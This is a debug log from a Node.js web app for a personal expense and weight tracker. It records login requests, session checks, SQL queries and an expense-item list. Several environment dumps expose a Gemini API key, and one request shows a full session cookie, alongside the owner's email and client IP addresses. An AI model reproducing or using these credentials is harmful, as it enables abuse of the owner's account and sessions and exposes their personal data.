2025-12-12T15:28:25.212Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0',
    'accept-encoding': 'gzip,br',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '52.16.245.145',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:28:25.210Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.16.245.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '52.16.245.145',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:28:25.481Z server-connect:router Serving templateView /
2025-12-12T15:28:25.481Z server-connect:app Executing action step identify
2025-12-12T15:28:25.481Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:25.481Z server-connect:auth No login cookie found
2025-12-12T15:28:25.481Z server-connect:output identity: false
2025-12-12T15:28:25.481Z server-connect:app Executing action step restrict
2025-12-12T15:28:25.481Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:28:25.482Z server-connect:output restrict: undefined
2025-12-12T15:28:25.530Z server-connect:router Serving templateView /login
2025-12-12T15:28:25.530Z server-connect:app Executing action step identify
2025-12-12T15:28:25.530Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:25.530Z server-connect:auth No login cookie found
2025-12-12T15:28:25.530Z server-connect:output identity: false
2025-12-12T15:28:25.530Z server-connect:router Render template layouts/authentication
2025-12-12T15:28:25.531Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Not A(Brand";v="8", "Chromium";v="132"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'x-forwarded-for': '52.16.245.145',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:28:25.530Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.16.245.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Not A(Brand";v="8", "Chromium";v="132"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '52.16.245.145',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:28:26.672Z server-connect:router Serving templateView /login
2025-12-12T15:28:26.672Z server-connect:app Executing action step identify
2025-12-12T15:28:26.672Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:26.672Z server-connect:auth No login cookie found
2025-12-12T15:28:26.672Z server-connect:output identity: false
2025-12-12T15:28:26.672Z server-connect:router Render template layouts/authentication
2025-12-12T15:28:26.672Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36',
    'accept-encoding': 'gzip,br',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '52.16.245.145',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:28:26.672Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.16.245.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '52.16.245.145',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:34:00.408Z server-connect:router Serving templateView /
2025-12-12T15:34:00.409Z server-connect:app Executing action step identify
2025-12-12T15:34:00.409Z server-connect:app options: { provider: 'security' }
2025-12-12T15:34:00.409Z server-connect:output identity: 1
2025-12-12T15:34:00.409Z server-connect:app Executing action step restrict
2025-12-12T15:34:00.409Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:34:00.411Z server-connect:output restrict: undefined
2025-12-12T15:34:00.411Z server-connect:app Executing action step restrict
2025-12-12T15:34:00.411Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:34:00.411Z server-connect:output restrict: undefined
2025-12-12T15:34:00.412Z server-connect:router Render template layouts/main
2025-12-12T15:34:00.412Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-12T15:34:03.215Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T15:34:03.216Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T15:34:03.216Z server-connect:app Executing action step identify
2025-12-12T15:34:03.216Z server-connect:app options: { provider: 'security' }
2025-12-12T15:34:03.216Z server-connect:output identity: 1
2025-12-12T15:34:03.216Z server-connect:app Executing action step restrict
2025-12-12T15:34:03.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T15:34:03.217Z server-connect:app Executing action step identify
2025-12-12T15:34:03.217Z server-connect:app options: { provider: 'security' }
2025-12-12T15:34:03.217Z server-connect:output identity: 1
2025-12-12T15:34:03.217Z server-connect:app Executing action step restrict
2025-12-12T15:34:03.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T15:34:03.218Z server-connect:output restrict: undefined
2025-12-12T15:34:03.219Z server-connect:app Executing action step single
2025-12-12T15:34:03.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T15:34:03.220Z server-connect:output restrict: undefined
2025-12-12T15:34:03.220Z server-connect:app Executing action step select
2025-12-12T15:34:03.220Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T15:34:03.221Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T15:34:03.227Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T15:34:06.569Z server-connect:router Serving templateView /weight-trackor
2025-12-12T15:34:06.569Z server-connect:app Executing action step identify
2025-12-12T15:34:06.569Z server-connect:app options: { provider: 'security' }
2025-12-12T15:34:06.569Z server-connect:output identity: 1
2025-12-12T15:34:06.569Z server-connect:app Executing action step restrict
2025-12-12T15:34:06.570Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:34:06.570Z server-connect:output restrict: undefined
2025-12-12T15:34:06.570Z server-connect:router Render template weight-trackor
2025-12-12T15:34:06.570Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
